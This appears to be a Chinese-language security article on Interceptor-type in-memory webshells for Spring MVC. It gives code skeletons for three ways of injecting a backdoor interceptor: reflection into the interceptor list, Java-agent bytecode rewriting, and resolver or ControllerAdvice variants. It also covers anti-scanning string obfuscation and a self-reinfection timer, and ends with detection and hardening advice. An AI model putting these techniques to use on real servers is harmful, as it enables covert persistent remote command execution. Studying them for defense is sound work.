Java内存马——Interceptor型的三种注入
字数 1701 2025-08-30 06:50:12
Java内存马——Interceptor型注入技术深度解析
一、Interceptor型内存马概述
Interceptor型内存马是针对Spring MVC框架(及类似MVC框架如Struts2)的高级内存马技术,通过动态注入恶意拦截器到Spring请求处理链中实现攻击。其核心特点:
- 深度集成:与Spring框架深度集成,隐蔽性极高
- 执行点:在
HandlerInterceptor的preHandle、postHandle或afterCompletion方法中执行恶意代码 - 无文件落地:所有操作均在内存中完成,不写入磁盘
核心前提条件
所有注入方式都需要先获取Spring的ApplicationContext,常用获取方式:
// 从ServletContext获取
WebApplicationContextUtils.getWebApplicationContext(servletContext);
// 从RequestContext获取
RequestContextUtils.getWebApplicationContext(request);
// 通过已知Bean获取
context = ((WebApplicationContext) knownBean).getApplicationContext();
二、注入方式一:动态注册到InterceptorRegistry
1. 核心原理
利用Spring MVC提供的InterceptorRegistry动态添加拦截器,是最直接、最符合Spring设计的方式。
2. 详细注入步骤
步骤1:获取ApplicationContext
如上文所述的各种获取方式。
步骤2:定位RequestMappingHandlerMapping Bean
RequestMappingHandlerMapping handlerMapping =
(RequestMappingHandlerMapping) context.getBean("requestMappingHandlerMapping");
步骤3:反射获取InterceptorRegistry
Field adaptedInterceptorsField =
RequestMappingHandlerMapping.class.getDeclaredField("adaptedInterceptors");
adaptedInterceptorsField.setAccessible(true);
List adaptedInterceptors = (List) adaptedInterceptorsField.get(handlerMapping);
步骤4:创建恶意HandlerInterceptor实例
HandlerInterceptor evilInterceptor = new HandlerInterceptor() {
@Override
public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) {
String cmd = request.getParameter("cmd");
if (cmd != null && !cmd.isEmpty()) {
// 执行cmd命令并回显到response
return false; // 拦截请求
}
return true; // 正常放行
}
};
步骤5:将恶意拦截器注入列表
adaptedInterceptors.add(0, evilInterceptor); // 添加到最前面
可选:注册为MappedInterceptor
MappedInterceptor mappedInterceptor =
new MappedInterceptor(new String[]{"/api/**"}, null, evilInterceptor);
adaptedInterceptors.add(mappedInterceptor);
3. 技术特点
优点:
- 直接利用Spring标准机制
- 实现相对简单
- 隐蔽性较好
缺点:
- 需要反射访问内部字段,不同Spring版本可能有兼容性问题
- 容易被监控adaptedInterceptors列表变化的RASP检测到
三、注入方式二:修改已有拦截器的字节码
1. 核心原理
不新增拦截器实例,而是直接修改已有合法拦截器类的字节码(通常是preHandle方法),插入恶意代码。
2. 详细注入步骤
步骤1:获取Instrumentation实例
// 通过Java Agent获取
public static void premain(String args, Instrumentation inst) {
EvilAgent.instrumentation = inst;
}
// 动态附加到运行中JVM
public static void attach(String pid) throws Exception {
VirtualMachine vm = VirtualMachine.attach(pid);
vm.loadAgent(agentJarPath);
vm.detach();
}
步骤2:定位目标拦截器类
选择原则:
- 高频使用:确保每个请求都能触发
- 业务无关:避免修改导致系统异常
- 长期存活:不会被类加载器卸载
步骤3:字节码修改(ASM示例)
public class EvilClassAdapter extends ClassVisitor {
@Override
public MethodVisitor visitMethod(int access, String name, String desc,
String signature, String[] exceptions) {
MethodVisitor mv = super.visitMethod(access, name, desc, signature, exceptions);
if ("preHandle".equals(name) && "(Ljavax/servlet/...;)Z".equals(desc)) {
return new EvilMethodAdapter(mv, access, name, desc);
}
return mv;
}
}
步骤4:插入恶意逻辑
public class EvilMethodAdapter extends AdviceAdapter {
@Override
protected void onMethodEnter() {
// 插入恶意代码
mv.visitVarInsn(ALOAD, 1); // 加载HttpServletRequest
mv.visitLdcInsn("X-Token");
mv.visitMethodInsn(INVOKEINTERFACE, "javax/servlet/...", "getHeader", "...", true);
// 更多字节码操作...
}
}
步骤5:类重定义
instrumentation.redefineClasses(new ClassDefinition(targetClass, modifiedBytes));
3. 高级隐蔽技术
-
字节码混淆:
- 常量池加密
- 控制流平坦化
-
防内存扫描:
// 动态解密关键字符串 private static String decrypt(String encrypted) { char[] chars = encrypted.toCharArray(); for (int i = 0; i < chars.length; i++) { chars[i] = (char)(chars[i] ^ 0x55); } return new String(chars); } -
自修复机制:
// 定时检查字节码完整性 new Timer().scheduleAtFixedRate(() -> { if (!isBytecodeModified(targetClass)) { reinfect(targetClass); } }, 0, 60 * 60 * 1000); // 每小时检查
4. 技术特点
优点:
- 极致隐蔽性:没有新增任何类或拦截器实例
- 持久性:只要被修改的拦截器类不被卸载就持续有效
缺点:
- 技术门槛高
- 依赖目标类存在且被频繁调用
- 可能破坏原有功能
四、注入方式三:变种技术
1. HandlerMethodArgumentResolver变种
核心原理
在参数解析阶段插入恶意逻辑,无需特定URL路径即可触发。
注入步骤
- 获取
RequestMappingHandlerAdapterBean - 创建恶意参数解析器:
public class EvilArgumentResolver implements HandlerMethodArgumentResolver { @Override public boolean supportsParameter(MethodParameter parameter) { return parameter.hasParameterAnnotation(EvilTrigger.class); } @Override public Object resolveArgument(...) { // 执行恶意代码 } } - 动态注册解析器到参数解析器列表开头
2. ControllerAdvice变种
核心原理
利用全局异常处理机制作为后门入口。
注入步骤
- 创建恶意
@ControllerAdvice类:@ControllerAdvice public class GlobalExceptionHandler { @ExceptionHandler(CustomException.class) public ResponseEntity<?> handleError(...) { // 执行恶意代码 } } - 动态注册为Spring Bean
3. 技术特点
优点:
- 路径无关性
- 高隐蔽性
- 业务融合度深
缺点:
- 实现复杂度较高
- 异常处理变种可能不够稳定
五、检测与防御方案
1. 检测技术
-
RASP检测模型:
- 监控拦截器列表变化
- 检测新增的拦截器实例
-
内存扫描技术:
SELECT * FROM java.util.ArrayList WHERE this.@class.@name = 'org.springframework...AbstractHandlerMapping$1' AND this.elementData.toString().matches(".*(Runtime|ProcessBuilder).*") -
行为监控:
- 拦截器执行时间监控
- 异常处理模式分析
2. 防御加固
-
注册冻结技术:
public class LockableInterceptorRegistry extends InterceptorRegistry { private boolean locked = false; @Override public InterceptorRegistration addInterceptor(...) { if (locked) throw new SecurityException("Interceptor registration locked"); return super.addInterceptor(interceptor); } } -
JVM层防护:
-XX:-AllowRedefinitionToAddDeleteMethods -XX:-AllowRedefinitionToAddDeleteFields -XX:+VerifyDuringStartup -
类加载器隔离:
<!-- Tomcat context.xml --> <Loader delegate="true" />
六、总结
Interceptor型内存马是Spring环境下高隐蔽性的攻击技术,安全团队需要从以下方面加强防护:
- 运行时监控:拦截器列表变化、字节码修改等行为
- 静态加固:冻结关键组件注册、启用JVM保护
- 行为分析:异常请求处理模式、耗时分析等
- 纵深防御:结合RASP、WAF等多层防护
攻击者不断演进技术,防御方需要深入理解框架机制,才能有效应对这类高级内存马威胁。